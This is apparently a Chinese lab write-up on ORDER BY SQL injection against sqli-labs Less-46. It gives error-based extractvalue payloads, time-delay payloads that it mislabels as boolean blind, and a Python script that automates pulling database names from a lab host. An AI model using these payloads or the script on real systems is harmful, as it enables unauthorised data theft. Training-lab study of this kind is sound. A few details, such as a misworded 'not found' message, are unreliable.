当前位置: 首页 > news >正文

关于order by的sql注入实验

实验描述

本实验基于sqli-lab的第46关进行测试

本关的sql 语句为$sql = "SELECT * FROM users ORDER BY $id"

利用sort进行sql注入,我们可以利用报错注入,延时注入来爆出数据

1.报错注入

1.手工测试

爆出数据库

?sort=(extractvalue(1, concat(0x7e, (select schema_name from information_schema.schemata limit 1,1))))

爆出数据库中的表

?sort=(extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1))))

 爆出表中的列

?sort=(extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1))))

爆出列值

?sort=(extractvalue(1,concat(0x7e,(select username from users where id=1))))

2.代码实现

import requests
import re

# 目标URL (根据实际环境修改)
target_url = "http://172.25.254.145/sqli-labs-php7-master/Less-46/"


def extract_database_name():
    database_names = []
    index = 0
    while True:
        # 构造注入Payload
        payload = {
            "sort": f"(extractvalue(1,concat(0x7e,(select schema_name from information_schema.schemata limit {index},1))))"
        }
        try:
            # 发送GET请求
            response = requests.get(target_url, params=payload, timeout=10)
            response.raise_for_status()

            # 正则匹配错误信息中的数据库名
            error_pattern = r"XPATH syntax error: '~([^']+)"
            match = re.search(error_pattern, response.text)

            if match:
                db_name = match.group(1)
                database_names.append(db_name)
                print(f"成功提取数据库名: {db_name}")
                index += 1
            else:
                if index == 0:
                    print("找到数据库名,可能漏洞不存在或错误信息被隐藏")
                else:
                    print("已提取所有数据库名")
                break

        except requests.exceptions.Timeout:
            print(f"[-] 请求超时,索引为 {index},继续尝试...")
        except requests.exceptions.HTTPError as http_err:
            print(f"[-] HTTP请求错误,索引为 {index}: {http_err}")
        except requests.exceptions.RequestException as e:
            print(f"[-] 请求失败,索引为 {index}: {e}")

    return database_names


if __name__ == "__main__":
    all_database_names = extract_database_name()

结果

 同理,修改sql注入语句,即可爆出所有的数据信息

2.布尔盲注

错误按照username执行排序,否则结果正确

正确结果如下

错误结果如下

判断当前数据库的名称 

?sort=if((substr(database(),1,1)='s'),(select 1 from (select sleep(2)) as b),username)

判断第一个数据库的名称

?sort=if((ascii(substr((select schema_name from information_schema.schemata limit 0,1),1,1))=105),(select 1 from (select sleep(2)) as b),username)

爆出数据库表(emali表)

?sort=if((ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101),(select 1 from (select sleep(2)) as b),username)

爆出列值(USER)

?sort=if((ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))=101),(select 1 from (select sleep(2)) as b),username)

 根据上述sql语句可以获得数据库的信息

相关文章:

  • 如何用Python 3自动打开exe程序
  • c++入门-------命名空间、缺省参数、函数重载
  • 我的电脑是 3070ti 能用那个级别的deepseek
  • 解决Open WebU无法显示基于OpenAI API接口的推理内容的问题
  • 详细介绍嵌入式硬件设计
  • Ubuntu - Redis 安装、远程访问
  • 图书馆系统源码详解
  • 萌新学 Python 之自定义函数
  • Unity技术突破
  • Leetcode 3463. Check If Digits Are Equal in String After Operations II
  • 2025版-Github账号注册详细过程
  • 【C语言】第八期——指针
  • UE_C++ —— Logging in Unreal
  • 初识XML
  • LeetCode 热题 100 206. 反转链表
  • ASP.NET Core Clean Architecture
  • 如何选择适合自己电脑的本地部署模型,模型的大小与b之间的关系,模型参数,量化Q
  • 嵌入式之内存管理
  • 【Git】多人协作
  • 【c++】【线程池】线程池模式
  • 网上推广是什么意思/seo外包费用
  • 网站建设 工业 青岛/网络营销就业前景和薪水
  • 有了网站怎么做app/百度指数排名
  • 中山市做网站/seo优化多少钱
  • wordpress菜单子页面/seo门户网价格是多少钱
  • 网站建设万网/成都最新疫情